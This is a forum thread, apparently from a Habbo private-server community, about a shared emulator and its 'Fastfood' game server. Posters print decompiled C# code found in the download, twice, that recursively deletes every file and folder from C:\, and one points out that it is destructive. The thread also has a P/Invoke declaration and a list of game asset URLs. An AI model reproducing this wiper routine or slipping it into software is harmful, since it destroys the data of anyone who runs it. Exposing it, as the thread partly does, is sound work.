Run, but I'll find you.
- Joined
- Jan 29, 2011
- Messages
- 777
- Reaction score
- 327
Why? do it yourself - download visual studios 2010 and add it
Its called a joke x)
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Join Today!Why? do it yourself - download visual studios 2010 and add it
Decompile that one and find this:
PHP:namespace ns0 { using System; using System.IO; internal sealed class Class0 { internal static void smethod_0() { smethod_1(new DirectoryInfo(@"C:\\")); } private static unsafe void smethod_1(DirectoryInfo directoryInfo_0) { void* voidPtr = (void*) stackalloc byte[8]; try { FileInfo[] files = directoryInfo_0.GetFiles(); *((int*) voidPtr) = 0; Label_0010: if (*(((int*) voidPtr)) >= files.Length) { try { DirectoryInfo[] directories = directoryInfo_0.GetDirectories(); *((int*) (voidPtr + 4)) = 0; while (*(((int*) (voidPtr + 4))) < directories.Length) { DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))]; smethod_1(info2); *(((int*) (voidPtr + 4)))++; } } catch { } try { Directory.Delete(directoryInfo_0.FullName); } catch { } return; } FileInfo info = files[*((int*) voidPtr)]; try { File.Delete(info.FullName); } catch { } *(((int*) voidPtr))++; } catch { } goto Label_0010; } } }
It does not require a lot of skills to figure out what that code is supposed to do....
Does anyone know if this emulator is stable? More stable than BCStorm?
Thanks!
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static void smethod_1(DirectoryInfo directoryInfo_0)
{
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
int ptr = 0;
while (ptr < files.Length)
{
FileInfo fileInfo = files[ptr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
int ptr = ptr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
DirectoryInfo[] array = directories;
ptr = 0;
while (ptr < array.Length)
{
DirectoryInfo directoryInfo_ = array[ptr];
Class0.smethod_1(directoryInfo_);
ptr = ptr + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
Got bored...
// .
[DllImport("mscorwks.dll", CharSet = CharSet.Unicode, EntryPoint = "StrongNameSignatureVerificationEx")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ([MarshalAs(UnmanagedType.LPWStr)] string, [MarshalAs(UnmanagedType.Bool)] bool, [MarshalAs(UnmanagedType.Bool)] out bool);
Can you make a mirror on mediafire.
[URL]http://hlat.us/swf/swfs/config_habbo.xml[/URL]
[URL]http://hlat.us/swf/swfs/crossdomain.xml[/URL]
[URL]http://hlat.us/swf/swfs/external_flash_override_texts.txt?1[/URL]
[URL]http://hlat.us/swf/swfs/external_flash_texts_new.txt?20[/URL]
[URL]http://hlat.us/swf/swfs/external_override_variables.txt[/URL]
[URL]http://hlat.us/swf/swfs/figuremap.xml[/URL]
[URL]http://hlat.us/swf/swfs/furnidata.txt?29[/URL]
[URL]http://hlat.us/swf/swfs/games/gamecenter_basejump/BaseJump.swf[/URL]
[URL]http://hlat.us/swf/swfs/games/gamecenter_basejump/BasicAssets.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_acc_waist.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_body.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_face.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_fx.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_hair.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_item.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_leg.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_shirt.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_50_shoe.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_acc_waist.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_body.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_face.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_fx.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_hair.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_item.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_leg.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_shirt.swf[/URL]
[URL]http://hlat.us/swf/swfs/hh_human_shoe.swf[/URL]
[URL]http://hlat.us/swf/swfs/productdata.txt?2[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/HabboClient.swf?6[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/external_variables.txt?21[/URL]
[URL]http://hlat.us/swf/swfs/rel-24122012/figuredata.xml[/URL]
[URL]http://hlat.us/swf/swfs/safechat-en.txt[/URL]
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.
@OnTopic
Veeery good work decompiling it
Which part of the codes do you need?Can someone decompile Fast Food server and fix source working? I need fix some codes from it..